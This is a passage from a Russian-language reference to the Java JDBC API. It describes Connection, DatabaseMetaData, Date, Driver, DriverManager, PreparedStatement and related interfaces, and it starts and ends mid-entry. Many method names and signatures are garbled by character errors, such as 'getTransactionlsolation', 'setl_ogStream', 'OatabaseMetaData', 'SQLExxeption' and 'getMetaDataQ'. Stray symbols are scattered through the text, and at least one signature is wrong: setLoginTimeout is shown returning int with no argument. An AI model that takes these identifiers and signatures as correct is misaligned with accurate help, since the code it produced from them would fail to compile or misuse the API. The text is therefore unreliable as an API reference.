Описание. Возвращает подстроку Clob, начиная с указанной позиции, длиной, определяемой значением count.

length( )

public long length() throws SQLException

Описание. Возвращает количество символов в Clob. position( )

public long position(String pattern, long start) throws SQLException;

public long position(Clob pattern, long start) throws SQLException;

Описание. Ищет в Clob заданную строку, начиная с указанной позиции. Если строка найдена, возвращается индекс первого ее вхождения в Clob. Если строка не найдена, метод возвращает —1.

Connection

Краткий обзор

Имя класса: java.sql.Connection

Надкласс: нет

Непосредственные подклассы: нет

Реализованные интерфейсы: нет

Доступность: JDK 1.1

Описание

Класс Connection представляет в JDBC сеанс работы с базой данных. Он предоставляет приложению объекты Statement (и его подклассы) для этого сеанса. Он также управляет транзакциями для этих команд. По умолчанию каждая команда выполняется в отдельной транзакции. Объект Connection позволяет отключить функцию Autocommit автоматического завершения транзакции. В этом случае требуется явно завершить транзакцию, иначе результаты выполнения всех команд.будут потеряны.

Сводка методов класса

public interface Connection {

static public final int TRANSACTION_NONE;

static public final int TRANSACTION_READ_UNCOMMITTED;

static public final int TRANSACTION_READ_COMMITTED;

static public final int TRANSACTION_REPEATABLE_READ;

static public final int TRANSACTION_SERIALIZABLE;

void clearWarnings() throws SQLException;

void close() throws SQLException;

void commit() throws SQLException;

Statement createStatement() throws SQLException;

Statement createStatement(int type, int concur)

throws SQLException;

boolean getAutoCommit() throws SQLException;

String getCatalog() throws SQLException;

Map gettypeMap() throws SQLException;

DatabaseMetaData getMetaData() throws SQLException;

int getTransactionIsolation() throws SQLException;

SQLWarning getWarnings() throws SQLException;

boolean isClosed() throws SQLException;

boolean isReadOnly() throws SQLException;

String nativeSQL(String sql) throws SQLException;

CallableStatement prepareCall(String sql)

throws SQLException;

CallableStatement prepareCall(String sql, int type,

int concur)

throws SQLException;

PreparedStatement prepareStatement(String sql)

throws SQLException;

PreparedStatement prepareStatement(String sql,

int type, int concur)

throws SQLException;

void rollback() throws SQLException;

void setAutoCommit(boolean ac) throws SQLException;

void setCatalog(String catalog) throws SQLException;

void setReadOnly(boolean ro) throws SQLException;

void setTransactionIsolation(int level)

throws SQLException;

void setTypeMap(Map map) throws SQLException; }

Атрибуты класса

TRANSACTION_NONE

static public final int TRANSACTION_NONE

Описание. Транзакции не поддерживаются.

TRANSACTION_READ_UNCOMMITTED

static public final int TRANSACTION_READ_UNCOMMITTED

Описание. Этот уровень изоляции транзакций разрешает чтение незавершенных изменений одной транзакции другими транзакциями.

TRANSACTION_READ_COMMITTED

static public final int TRANSACTION_READ_COMMITTED

Описание. Этот уровень изоляции транзакций предотвращает «грязное» чтение. Иными словами, изменения, сделанные в транзакции TRANSACTION_READ_COMMITTED, невидимы другим транзакциям до ее завершения.

TRANSACTION_REPEATABLE_READ

static public final int TRANSACTION_REPEATABLE_READ

Описание. Этот уровень изоляции транзакций предотвращает «грязное» чтение и неповторяемое чтение. Неповторяемое чтение происходит, когда одна транзакция читает строку, вторая транзакция изменяет ее, а затем первая транзакция повторно читает строку, получая во второй раз другие значения.

Методы объекта

clearWarnings( )

public void clearWarnings() throws SQLException

Описание. Очищает список предупреждений, связанный с Connection, вследствие чего getWarnings() возвращает null, пока не возникнет новое предупреждение.

close ()

public void close() throws SQLException

Описание. Этот метод позволяет вручную освободить все ресурсы, такие как сетевые соединения и блокировки базы данных, связанные с данным объектом Connection. Этот метод автоматически вызывается при сборке мусора; лучше, однако, вручную закрыть Connection, если вы в нем больше не нуждаетесь.

commit ()

public void commit() throws SQLException

Описание. Этот метод делает постоянными изменения, произведенные всеми командами, связанными с данным соединением и выполненными вслед за последней командой завершения или отката транзакции. Использовать его следует только при отключенном автозавершении. Он не завершает изменения, сделанные командами, которые связаны с другими объектами Connection.

createStatement( )

public Statement createStatement() throws SQLException public

Statement createStatement(int type, int concur) throws SQLException

Описание. Метод создает объект Statement, связанный с сеансом Connection. Версия без аргументов создает объект Statement, для которого экземпляры ResultSet имеют тип только для чтения и перемещения в прямом направлении.

getAutoCommit() и setAutoCommit( )

public boolean getAutoCommit() throws SQLException

public void setAutoCommit(boolean ac) throws SQLException

Описание. По умолчанию все объекты Connection находятся в режиме автозавершения. В этом режиме каждая команда завершается сразу после выполнения. Может оказаться предпочтительнее вручную завершить серию команд в приложении как единую транзакцию. В этом случае метод setAutoCommit() используется для отключения автозавершения. Затем, после выполнения своих команд, вы вызываете commit() или rollback(), в зависимости от успеха или неуспеха транзакции.

В режиме автозавершения команда завершается, когда она выполнена, или выполняется следующая команда, в зависимости от того, что произойдет раньше. Команда, возвращающая ResultSet, выполнена, когда извлечена последняя строка или закрыт объект ResultSet. Если команда возвращает множественные результирующие набо-

ры, завершение происходит после извлечения последней строки последнего объекта ResultSet.

getCatalog() и setCatalog()

public String getCatalog() throws SQLException

public void setCatalog(String catalog) throws SQLException

Описание. Если драйвер поддерживает каталоги, то setCatalog() используется для выбора подпространства базы данных с заданным именем каталога. Если драйвер каталоги не поддерживает, запрос игнорируется.

getMetaData( )

public OatabaseMetaData

getMetaDataQ throws SQLException

Описание. Класс DatabaseMetaData предоставляет методы, описывающие таблицы базы данных, поддержку SQL, хранимые процедуры и другие сведения, относящиеся к базе данных и данному Connection, которые не относятся непосредственно к выполнению команд и извлечению результирующих наборов. Метод создает экземпляр класса DatabaseMetaData для данного Connection.

getTransactionlsolution() и setTransactionlsolution()

public int getTransactionlsolation() throws SQLException

public void setTransaction!solation(int level) throws SQLException

Описание. Устанавливает для объекта Connection текущий уровень изоляции транзакций, используя один из атрибутов класса для интерфейса Connection. Эти уровни называются TRANSACTION_NONE, TRANSACTION_READ_UNCOMMITTED, TRANSACTION_READ_COMMITTED и TRANSACTION, REPEATABLE_READ.

get TypeMap ( ) и set TypeMap ( )

public Map getTypeMap() throws SQLException

public void setTypeMap(Map map) throws SQLException

Описание. С помощью этих методов можно задать или получить специальное отображение структурированных типов SQL и индивидуальных (distinct) типов для всех команд, связанных с этим соединением.

getWarnings( )

public SQLWarning getWarnings() throws SQLException

Описание. Возвращает первое предупреждение из списка, связанного с данным объектом Connection.

isClosed()

public boolean isClosed() throws SQLExxeption

Описание. Возвращает true, если соединение Connection закрыто.

isReadOnly() и setReadOnly()

public boolean IsReadOnly() throws SQLException

public void setReadOnly(boolean ro) throws SQLException

Описание. Некоторые базы данных оптимизированы для осуществления доступа только для чтения. Метод setReadOnly() позволяет задать для Connection режим только для чтения, чтобы произошла такая оптимизация. Нельзя вызывать метод setReadOnly() во время транзакции.

nativeSQL()

public String nativeSQL(String sql) throws SQLException

Описание. Многие базы данных могут не поддерживать в действительности тот SQL, который требуется для JDBC. Этот метод позволяет приложению получить «родной» SQL базы данных для заданной строки JDBC SQL.

prepareCall()

public CallableStatement prepareCall(String sql)

throws SQLException

public CallableStatement prepareCall(String sql, int type, int concur) throws SQLException

Описание. По заданной отдельной строке SQL этот метод создает объект CallableStatement, связанный с данным сеансом Connection. Это предпочтительный способ работы с хранимыми процедурами. Версия по умолчанию (без аргументов) создает CallableStatement, который возвращает экземпляры ResultSet типа только для чтения с перемещением только вперед.

prepareStatemeni()

public PreparedStatement prepareStatement(String sql)

throws SQLException

public PreparedStatement prepareStatement(String sql, int type, int concur) throws SQLException

Описание. Создает объект PreparedStatement, связанный с данным сеансом Connection. Это предпочтительный способ работы с преком-пилированными командами SQL. Версия по умолчанию (без аргументов) создает PreparedStatement, который возвращает экземпляры ResultSet типа только для чтения с перемещением только вперед.

rollback ()

public void rollback() throws SQLException

Описание. Отменяет все изменения, произведенные командами, связанными с данным Connection и выполненными вслед за последней командой завершения или отката. Если позднее вы захотите произвести эти изменения, приложению придется заново выполнить все осуществляющие их команды. Следует использовать только в режиме отключенного автозавершения.

DatabaseMetaData

Краткий обзор

Имя класса: java. sql. DatabaseMetaData

Надкласс: нет

Непосредственные подклассы: нет

Реализованные интерфейсы: нет

Доступность: введен в JDK 1.1

Описание

Этот класс предоставляет обширную информацию о базе данных, с которой связан объект Connection. Во многих случаях данные возвращаются в виде объектов JDBC ResultSet. Если база данных не поддерживает метаданные некоторого типа, DatabaseMetaData возбуждает SQLException.

Методы DatabaseMetaData принимают в качестве аргументов строковые шаблоны, в которых специальные символы имеют определенное значение. % соответствует любой подстроке длиной 0 или более символов, а символ _ соответствует одному любому символу. Вместо строковых шаблонов возможна передача null в качестве аргументов, что означает исключение критерия аргумента из поиска.

Сводка методов класса

public interface DatabaseMetaData {

static public final int bestRowTemporary;

static public final int bestRowTransaction;

static public final int bestRowSession;

static public final int bestRowUnknown;

static public final int bestRowNotPseudo;

static public final int bestRowPseudo;

static public final int columnNoNulls;

static public final int columnNullable;

static public final int columnNullablellnknown;

static public final int importedKeyCascade;

static public final int importedKeyRestrict;

static public final int importedKeySetNull;

static public final int importedKeyNoAction;

static public final int importedKeySetDefault;

static public final int importedKeylnitiallyDeferred;

static public final int importedKeylnitiallylmmediate;

static public final int importedKeyNotDeferrable;

static public final int procedureResultUnknown;

static public final int procedureNoResult;

static public final int procedureReturnsResult;

static public final int procedureColumnUnknown;

static public final int procedureColumnln;

static public final int procedureColumnOut;

static public final int procedureColumnReturn;

static public final int procedureColumnResult;

static public final int procedureNoNulls;

static public final int procedureNullable;

static public final int procedureNullableUnknown;

static public final short tablelndexStatistic;

static public final short tablelndexClustered;

static public final short tablelndexHashech;

static public final short tablelndexOther;

static public final int typeNoNulls;

static public final int typeNullable;

static public final int typeNullablellnknown;

static public final int typePredHet;

static public final int typePredChar;

static public final int typePredBasic;

static public final int typeSearchable;

static public final int versionColumnUnknown;

static public final int versionColumnNotPseudo;

static public final int versionColumnPseudo;

boolean allProceduresAreCallable()

throws SQLException;

boolean allTablesAreSelectable() throws SOLException;

boolean dataDefinitionCausesTransactionCommit()

throws SQLException;

boolean dataDefinitionIgnoredlnlransactions()

throws SQLException;

ResultSet getBestRowIdentifier(String catalog,

String schema, String table, int scope,

boolean nullable)

throws SQLException;

ResultSet getCatalogs() throws SQLException;

String getCatalogSeparator() throws SQLException;

String getCatalogTerm() throws SQLException;

ResultSet getColumnPriveleges(String catalog, String spat. String table, String cpat) throws SQLException;

ResultSet getColumns(String catalog, String spat. String tpat, String cpat) throws SQLException;

ResultSet getCrossReference(String primaryCatalog, String primarySchema, String primaryTable, String foreignCatalog, String foreignSchema, String foreignTable) throws SQLException;

String getDatabaseProductName() throws SQLException;

String getDatabaseProductVersion()throws SQLException;

int getDefaultTransactionIsolation()throws SQLException;

int getDriverMajorVersion();

int getDriverMinorVersion();

String getDriverName() throws SQLException;

String getDriverVersion() throws SQLException;

ResultSet getExportedKeys(String catalog,String schema, String .table)throws SQLException;

String getExtraNameCharacters() throws SQLException;

String getldentifierQuoteString() throws SQLException;

ResultSet getImportedKeys(String catalog,String schema, String table) throws SQLException;

ResultSet getIndex!nfo(String catalog,String schema, String table, boolean unique,boolean approximate) throws SQLException;

int getMaxBinaryLiteralLength() throws SQLException;

int getMaxCatalogNameLength() throws SQLException;

int getMaxCharLiteralLengthO throws SQLException;

int getMaxcnameLength() throws SQLException;

int getMaxColumnsInGroupBy() throws SQLException;

int getMaxColumnsInIndex() throws SQLException;

int getMaxColumns!nOrderBy() throws SQLException;

int getMaxColumnsInSelect() throws SQLException;

int getMaxColumnsInTable() throws SQLException;

int getMaxConnections() throws SQLException;

int getMaxIndexLength() throws SQLException;

int getMaxProcedureNameLength()

throws SQLException;

int getMaxRowSize() throws SQLException;

int getMaxRowSizelncludeBlobs()

throws SQLException;

int getMaxSchemaNameLength() throws SQLException;

int getMaxStatementLength() throws SQLException;

int getMaxStatements() throws SQLException;

int getMaxTableNameLength() throws SQLException;

int getMaxTablesInSelect() throws SQLException;

int getMaxUserNameLength() throws SQLException;

String getNumericFunctions() throws SQLException;

ResultSet getPrimaryKeys(String catalog,String schema, String table) throws SQLException;

ResultSet getProcedureColumns(String catalog,String schemePattern, String procedureNamePattern,String cnamePattern) throws SQLException;

String getProcedureTerm() throws SQLException;

ResultSet getProcedures(String catalog,String schemaPattern, String procedureNamePattern)throws SQLException;

public abstract ResultSet getSchemas() throws SQLException;

public abstract String getSchemaTern() throws SQLException;

String getSearchStringEscape() throws SQLException;

String getSQLKeywords() throws SQLException;

String getStringFunctions() throws SQLException;

String getSystemFunctions() throws SQLException;

ResultSet getTablePriveleges(String catalog,String schemaPattern, String tableNamePattern)throws SQLException;

ResultSet getTableTypes() throws SQLException;

ResultSet getTables(String catalog,String schemaPattern, String tableNamePattern,String types[]) throws SQLException;

String getTimeDateFunctions() throws SQLException;

ResultSet getTypelnfo() throws SQLException;

String getURL() throws SQLException;

String getUserName() throws SQLException;

ResultSet getVersionColumns(String catalog,String schema, String-table) throws SQLException;

boolean isCatalogAtStart() throws SQLException;

boolean isReadOnly() throws SQLException;

boolean nullPlusNonNullIsNull() throws SQLException;

boolean nullsAreSortedHigh() throws SQLException;

boolean nullsAreSortedLow() throws SQLException;

boolean nullsAreSortedAtStart() throws SQLException;

boolean nullsAreSortedAtEnd() throws SQLException;

boolean storesLowerCaseIdentifiers()throws SQLException;

boolean storesLowerCaseQuotedIdentifiers()throws SQLException;

boolean storesMixedCaseldentifiers()throws SQLException;

boolean storesMixedCaseQuotedldentifiers()throws SQLException;

boolean storesUpperCaseldentifiers()throws SQLException;

boolean storesUpperCaseQuotedldentifiers()throws SQLException;

boolean supportsAlterTableWithAddColumn()throws SQLException;

boolean supportsAlterTableWlthDropColumn()throws SQLException;

boolean supportsANSI92FullSQL() throws SQLException;

boolean supportsANSI92IntermediateSQL()throws SQLException;

boolean supportsCatalogsInDataManipulation()throws SQLException;

boolean suppportsCatalogsInIndexDefinitions()throws SQLException;

boolean supportsCatalogsInPrivelegeDefinitions()throws SQLException;

boolean supportsCatalogsInProcedureCalls()throws SQLException;

boolean supportsCatalogsInTableDefinitions()throws SQLException;

boolean supportsColumnAliasing() throws SQLException;

boolean supportsConvert() throws SQLException;

boolean supportsConvert(int fromType, int toType)throws SQLException;

boolean supportsCoreSQLGrammar() throws SQLException;

boolean supportsCorrelatedSubqueries()throws SQLException;

boolean supportsDataDefinitionAndDataManipulationTransactions()

throws SQLException; boolean supportsDataManipulationTransactionsOnly()

throws SQLException; boolean supportsDifferentTableCorrelationNames()

throws SQLException; boolean supportsExpressions!nOrderBy()

throws SQLException; boolean supportsExtendedSQLGrammar()

throws SQLException;

boolean supportsFullOuterJoins() throws SQLException;

boolean supportsGroupBy() throws SQLException;

boolean supportsGroupByBeyondSelect()

throws SQLException; boolean supportsGroupByUnrelated()

throws SQLException; boolean supports!ntegrityEnhancementFacility()

throws SQLException; boolean supportsLikeEscapeClause()

throws SQLException; boolean supportsLimitedOuterJoins()

throws SQLException; boolean supportsMinimumSQLGrammar()

throws SQLException; boolean supportsMixedCaseldentifiers()

throws SQLException; boolean supportsMixedCaseQuotedldenfitiers()

throws SQLException; boolean supportsMultipleResultSets()

throws SQLLxception; boolean supportsMultipleTransactions()

throws SQLException; boolean supportsNonNullableColumns()

throws SQLException; boolean supportsOpenCursorsAcrossCommit()

throws SQLException; boolean supportsOpenCursorsAcrossRollback()

throws SQLException; boolean supportsOpenStatementsAcrossCommit()

throws SQLException; boolean supportsOpenStatementsAcrossRollback()

throws SQLException; boolean supportsOrderByUnrelated()

throws SQLException;

boolean supportsOuterJoins() throws SQLException;

boolean supportsPositionedDelete()

throws SQLException; boolean supportsPositionedUpdate()

throws SQLException; boolean supportsSchemasInDataManipulation()

throws SQLException; boolean supportsSchemasInlndexDefinitions()

throws SQLException; boolean supportsSchemasInPrivelegeOefinitions()

throws SQLException; boolean supportsSchemasInProcedureCalls()

throws SQLException; boolean supportsSchemasInTableDefinitions()

throws SQLException; boolean supportsSelectForllpdate()

throws SQLException; boolean supportsStoredProcedures()

throws SQLException; boolean supportsSubqueriesInComparisons()

throws SQLException; boolean supportsSubqueriesInExists()

throws SQLException; boolean supportsSubqueriesIn!ns()

throws SQLException; boolean supportsSubqueriesInQuantifieds()

throws SQLException; boolean supportsTableCorrelationNames()

throws SQLException; boolean supportsTransactionIsolationLevel(int level)

throws SQLException;

boolean supportsTransactions() throws SQLException;

boolean supportsUnion() throws SQLException;

boolean supportsUnionAll() throws SQLException;

boolean usesLocalFilePerTable() throws SQLException;

boolean usesLocalFiles() throws SQLException; }

Date

Краткий обзор

Имя класса: java.sql.Date Надкласс: java.util.Date Непосредственные подклассы: нет Реализованные интерфейсы: нет Доступность: JDK 1.1

Описание

Этот класс поддерживает подмножество функций класса java. util. Date. Он ориентирован на работу с датами, игнорируя часы, минуты и секунды.

Сводка методов класса

public class Date extends Java.util.Date {

static public Date valueOf(String s);

#public Date(int year, int month, int day);

public Date(long date);

public void setTime(long date);

public String toString(); }

Методы класса

valueOf()

static public

Date valueOf(String s)

Описание. Получив строку String в виде yyyy-mm-dd, возвращает соответствующий экземпляр класса Date, представляющий эту дату.

Конструкторы объекта

Date()

public Date(long date)

#public Date(int year, int month, int day)

Описание. Создает новый экземпляр Date. Правильный путь создания Date- использование нового конструктора Date(long) из JDK1.2. Аргумент задает число миллисекунд, прошедших с 00:00:00 GMT 1 января 1970. Отрицательное число задает количество миллисекунд до этой даты. Второй, нерекомендованный конструктор не следует использовать, поскольку он не учитывает календарь и часовой пояс.

Методы объекта

setTime()

public void setTime(long date)

Описание. Устанавливает время, представленное объектом Date, в заданное число миллисекунд, прошедших с 00:00:00 GMT 1 января 1970. Отрицательное число задает количество миллисекунд до этой даты.

toString()

public String toString()

Описание. Возвращает строку, представляющую Date в формате yyyy-mm-dd.

Driver Краткий обзор

Имя класса: java.sql. Driver

Надкласс: нет

Непосредственные подклассы: нет

Реализованные интерфейсы: нет

Доступность: JDK1.1

Описание

Класс представляет специфическую реализацию JDBC. При загрузке Driver должен создать экземпляр себя и зарегистрировать его в классе DriverManager. Это позволит приложениям создавать экземпляры драйвера, вызывая для его загрузки Class. forName().

Объект Driver позволяет приложению соединяться с одной или несколькими базами данных. Когда поступает запрос на соединение с определенной базой данных, DriverManager передает запрос источника данных всем драйверам, зарегистрированным как URL. Будет использован первый Driver, который соединяется с источником данных через этот URL.

Сводка методов класса

public interface Driver {

boolean acceptsURL(String url) throws SQLException;

Connection connect(String url, Properties info)

throws SQLException;

int getMajorVersion();

int getMinorVersion();

DriverPropertyInfo[] getProperty!nfo(String url,

Properties info) throws SQLException;

boolean jdbcCompliant(); }

Методы объекта

acceptsURL ( )

public boolean acceptsURL(String url) throws SQLException

Описание. Возвращает t rue, если указанный URL соответствует субпротоколу URL, который используется этим драйвером.

connect ( )

public Connection connect(String url, Properties info) throws SQLException

Описание. Этот метод пытается установить соединение с использованием заданного URL и данных Property (обычно содержащих имя пользователя и пароль). Если URL не верен для этого драйвера, соnnect() возвращает null. Если URL правильный, но во время соединения происходит ошибка, возбуждается SQLException.

getMajorVersion ( )

public int getMajorVersion()

Описание. Возвращает основной номер версии драйвера.

getMinorVersion( )

public int getMinorVersion()

Описание. Возвращает дополнительный номер версии драйвера.

getPropertyInfo( )

public DriverPropertyInfo[]

getPropertyInfo(String url,Properties info) throws SQLException;

Описание. Этот метод позволяет средствам RAD в графическом интерфейсе определить, какие свойства требуются драйверу для соединения, чтобы выдать пользователю приглашение к вводу этих свойств.

jdbcCompliant()

public boolean jdbcCompliant()

Описание. Этот метод возвращает true, только если проходят тесты на совместимость с JDBC. Это означает, что реализация драйвера полностью поддерживает JDBC API и входной уровень SQL 92.

DriverManager Краткий обзор

Имя класса: Java. sql. DriverManager Надкласс: Java. lang. Object Непосредственные подклассы: нет Реализованные интерфейсы: нет

Доступность: JDK 1.1

Описание

DriverManager содержит главный список зарегистрированных в системе драйверов JDBC. При инициализации он загружает все классы, указанные в свойстве jdbc. drivers. Поэтому можно задать любую информацию времени выполнения относительно используемой приложением базы данных в командной строке.

Во время выполнения программы другие драйверы могут регистрироваться в DriverManager, вызывая метод registerDriver(). DriverManager использует JDBC URL при поиске выбранного приложением драйвера, когда запросы делаются через getConnection().

Класс DriverManager, вероятно, прекратит свое существование, поскольку новый JDBC 2.0 Standard Extension предоставляет значительно более дружественный способ получения соединения с базой данных.

Сводка методов класса

public class DriverManager { static void deregisterDriver(Driver driver)

throws SQLException;

static public synchronized Connection getConnection(String url, Properties info) throws SQLException;

static public synchronized Connection getConnection(String url, String user, String password) throws SQLException;

static public synchronized Connection getConnection(String url) throws SQLException;

static public Driver getDriver(String url) throws SQLException;

static public Enumeration getDrivers();

static public int getLoginTimeout();

#static public PrintStrean getLogStream();

static public PrintWriter getLogWriter();

static public void println(String message);

static public synchronized void registerDriver(Driver driver)

throws SQLException;

#static public void setl_ogStream(PrintStream out);

static public void setl_ogWriter(PrintWriter out);

static public void setloginTimeout(int seconds); }

Методы класса

deregisterDriver( )

static public void deregisterDriver(Driver driver) throws SQLException

Описание. Удаляет Driver из списка зарегистрированных драйверов.

getConnection( )

static public synchronized Connection getConnection(String url,

Properties info) throws SQLException static public synchronized Connection getConnection(String url,

String user, String password) throws SQLException static public synchronized Connection getConnection(String url)

throws SQLException

Описание. Устанавливает соединение с хранилищем данных, указанным в заданном URL. OriverManager просматривает список зарегистрированных Driver в поисках соответствующего заданному URL. Если таких драйверов не найдено, возбуждается SQLException. В противном случае возвращается экземпляр Connection, создаваемый методом connect() класса Driver.

getDriver( )

static public Driver getDriver(String url) throws SQLException

Описание. Возвращает драйвер, который может обработать заданный URL.

getDrivers( )

static public Enumeration getDrivers()

Описание. Возвращает список всех зарегистрированных драйверов.

getLoginTimeout( ) and setLoginTimeout( )

static public int getLoginTimeout()

static public int setLoginTimeout()

Описание. Тайм-аут регистрации - максимальное время в секундах, в течение которого драйвер ждет регистрации в базе данных.

getLogStream() и setLogStream( )

#static public PrintStream getl_ogStream()

#static public void setLogStream(PrintStream out)

static public PrintWriter getLogWriter()

static public void setLogWriter(PrintWriter out)

Описание. Устанавливает поток, используемый DriverManager и всеми драйверами. Вариант LogStream является устаревшей версией JDK 1.1, которой следует избегать.

println()

static public void println(String message)

Описание. Выводит сообщение в текущий поток журнала.

registerDriver( )

static public synchronized void registerDriver(Driver driver) throws SQLException

Описание. Позволяет вновь загруженному Driver зарегистрироваться в классе DriverManager.

DriverPropertyInfo

Краткий обзор

Имя класса: Java. sql. DriverPropertylnfo Надкласс: java. lang. Object Непосредственные подклассы: нет Реализованные интерфейсы: нет Доступность: JDK 1.1

Описание

Класс предоставляет сведения, необходимые драйверу для соединения с базой данных. Он может потребоваться только средствам разработки приложений. У него нет методов, только список открытых атрибутов.

Сводка методов класса

public class DriverPropertyInfo {

public String[] choices;

public String description;

public String name;

public boolean required;

public String value;

public DriverPropertyInfo(String name, String value); }

Атрибуты объекта

choices

public String[] choices

Описание. Список вариантов, которые могут предоставляться пользователю для выбора значения этого свойства. Значение может быть null.

description

public String description

Описание. Краткое описание свойства или null.

пате

public String name

Описание. Имя свойства.

required

public boolean required

Описание. Определяет обязательность задания этого свойства для установления соединения.

value

public String value

Описание. Текущее значение свойства или null, если значение не установлено.

Конструкторы объекта

DriverPropertyInfо ( )

public OriverPropertyInfo(String name, String value)

Описание. Создает новый объект DriverPropertylnfo с атрибутами name и value, установленными равными указанным аргументам. Все остальные атрибуты устанавливаются равными значениям по умолчанию.

PreparedStatement

Краткий обзор

Имя класса: Java. sql. PreparedStatement

Надкласс: java.sql.Statement

Непосредственные подклассы: Java. sql. CallableStatement

Реализованные интерфейсы: нет

Доступность: JDK1.1

Описание

Этот класс представляет прекомпилированную команду SQL.

Сводка методов класса

public interface PreparedStatement extends Statement {

void addBatch() throws SQLException;

void clearParameters() throws SQLException;

boolean execute() throws SQLException;

ResultSet executeQuery() throws SQLException;

int executeUpdate() throws SQLException;

ResultSetMetaData getMetaData() throws SQLException;

void setArray(int index, Array arr)throws SQLException;

void setAsciiStream(int index, InputStream is,int length) throws SQLException;

void setBigDecimal(int index, BigDecimal d)throws SQLException;

void setBinaryStream(int index, InputStream is,int length) throws SQLException;

void setBlob(int index, Blob b) throws SQLException; void setBoolean(int index, boolean b)throws SQLException;

void setByte(int index, byte b) throws SQLException; void setBytes(int index, byte[] bts)throws SQLException;

void setCharacterStream(int index, Reader rdr,int length) throws SQLException;

void setClob(int index, Clob c) throws SQLException;

void setDate(int index, Date d) throws SQLException;

void setDate(int index, Date d, Calendar cal)throws SQLException; void setDouble(int index, double x)throws SQLException;

void setFloat(int index, float f) throws SQLException;

void setlnt(int index, int x) throws SQLException;

void setLong(int index, long x) throws SQLException;

void setNull(int index, int type) throws SQLException;

void setNull(int index, int type, String tname)throws SQLException;

void setObject(int index, Object ob)throws SQLException;

void setObject(int index, Object ob, int type)throws SQLException;

void setObject(int index, Object ob, int type,

int scale) throws SQLException;

void setRef(int index, Ref ref) throws SQLException;

void setShort(int index, short s) throws SQLException;

void setString(int index, String str)throws SQLException;

void setTime(int index, Time t) throws SQLException;

void setTime(int index, Time t, Calendar cal)throws SQLException;

void setTimestamp(int index, Timestamp ts)throws SQLException;

void setTimestamp(int index, Timestamp ts, Calendar cal)throws SQLException;

void setUnicodeStream(int index, InputStream is,int length) throws SQLException; }

Методы объекта

addBatch()

public void addBatch() throws SQLException

Описание. Добавляет к пакету набор параметров для пакетной обработки.

clearParameters( )

public abstract void clearParameters() throws SQLException

Описание. Будучи установленным, значение параметра остается предельным, пока не будет установлено новое значение или вызван метод clearParameters(). Этод метод удаляет все параметры, связанные с PreparedStatement.

execute( ), executeQuery( ) и executeUpdate()

public abstract boolean executeO throws SQLException

public abstract ResultSet executeQueryO throws SQLException

public abstract int executeUpdateO throws SQLException

Описание. Выполняет PreparedStatement. Первый метод, execute(), позволяет выполнить PreparedStatement, если вам неизвестно, запрос это или обновление. Возвращает true, если команда возвратила результирующий набор для обработки.

Метод executeQuery() используется для выполнения запросов. Он возвращает результирующий набор для обработки.

Команда executeUpdate() используется для осуществления обновлений. Она возвращает число обновленных строк.

getMetaData()

public ResultSetMetaData getMetaOata() throws SQLException;

Описание. Возвращает число, типы, а также свойства колонок объекта ResultSet.

set Array (), setAsciiStrearn ( ), setBigDecimal( ), setBlnary Sir earn (), setBlob(), setBoolean( ), setByte(), setBytes( ), setCharacterStream( ), setClob(), setDate(), setDouble(), setFloat(), setlnt(), setLong(), setNull(), setObject(), setRef(), setShort(), setString(), setTime(), setTimestamp() и setUnicodeStream( )

public void setArray(int index, Array arr)throws SQLException

public void setAsciiStream(int index, InputStream is,int length) throws SQLException public void setBigOecimal(int index, BigDecimal d)

throws SQLException public void setBinaryStream(int index, InputStream is,

int length) throws SQLException public void setBlob(int index, Blob b)

throws SQLException public void setBoolean(int index, boolean b)

throws SQLException public void setByte(int index, byte b)

throws SQLException public void setBytes(int index, byte[ ] bts)

throws SQLException public void setCharacterStream(int index, Reader rdr,

int length) throws SQLException public void setClob(int index, Clob c)

throws SQLException public void setDate(int index, Date d)

throws SQLException public void setDate(int index, Date d, Calendar cal)

throws SQLException public void setDouble(int index, double d)

throws SQLException publio void setFloat(int index, float f)

throws SQLException public void setlnt(int index, int x)

throws SQLException public void setLong(int index, long x)

throws SQLException public void setNull(int index, int type)

throws SQLException public void setNull(int index, int type, String tname)

throws SQLException public void setObject(int index, Object ob)

throws SQLException public void setObject(int index, Object ob, int type)

throws SQLException public void setObject(int index, Object ob, int type,

int scale) throws SQLException

public void setRef(int index, Ref ref)

throws SQLException public void setShort(int index, short s)

throws SQLException public void setString(int index, String str)

throws SQLException public void setTime(int index, Tine t)

throws SQLException public void setTime(int index, Time t, Calendar cal)

throws SQLException public void setTimestamp(int index, Timestamp ts)

throws SQLException public void setTimestamp(int index, Timestamp ts,

Calendar cal) throws SQLException «public void setUnicodeStream(int index, InputStream is,

int length) throws SQLException

Описание. Привязывает значение к указанному параметру.

Ref

Краткий обзор

Имя класса: java.sql.Ref

Надкласс; нет

Непосредственные подклассы: нет

Реализованные интерфейсы: нет

Доступность: введен в JDK 1.2

Описание

Ref является ссылкой на величину структурированного типа SQL в базе данных. Разрешить ссылку Ref можно путем передачи ее в качестве параметра команде SQL и выполнением этой команды.

Сводка методов класса

public interface Ref {

String getBaseTypeName() throws SQLException; }

Методы объекта

getBaseTypeName( )

public String getBaseTypeName() throws SQLException

Описание. Возвращает имя структурированного типа SQL объекта, на который ссылается.

ResultSet

Краткий обзор

Имя класса: Java. sql. ResultSet

Надкласс: нет

Непосредственные подклассы: нет

Реализованные интерфейсы: нет

Доступность: JDK1.1

Описание

Этот класс представляет результирующий набор базы данных. Он обеспечивает приложению построчный доступ к результатам запросов в базе данных. Во время обработки запроса ResultSet поддерживает указатель на текущую обрабатываемую строку. Приложение последовательно перемещается по результатам, пока они не будут все обработаны или не будет закрыт ResultSet. Объект ResultSet закрывается автоматически, если создавший его Statement закрывается, выполняется снова или используется для извлечения следующего ResultSet в запросе с множественными результирующими наборами.

Сводка методов класса

public interface ResultSet { static public final int CONCUR_READ_ONLY;

static public final int CONCUR_UPDATABLE;

static public final int FETCH_FORWARD;

static public final int FETCH_REVERSE;

static public final int FETCH_UNKNOWN;

static public final int TYPE_FORWARD_ONLY;

static 'public final int TYPE_SCROLL_INSENSITIVE;

static public final int TYPE_SCROLL_SENSITIVE;

boolean absolute(int row) throws SQLException;

void Pafterl_ast() throws SQLException;

void beforeFirst() throws SQLException;

void cancelRowUpdates() throws SQLException;

void clearWarnings() throws SQLException;

void close() throws SQLException;

void deleteRow() throws SQLException;

int findColumn(String cname) throws SQLException;

boolean first() throws SQLException;

Array getArray(int index) throws SQLException;

Array getArray(String cname) throws SQLException;

InputStream getAsciiStream(int index)throws SQLException;

InputStream getAsciiStream(String cname)throws SQLException;

InputStream getBinaryStream(int index)throws SQLException;

InputStream getBinaryStream(String cname)throws SQLException;

BigDecimal getBigDecimal(int index)throws SQLException;

#BigDecimal getBigDecimal(int index, int scale)throws SQLException;

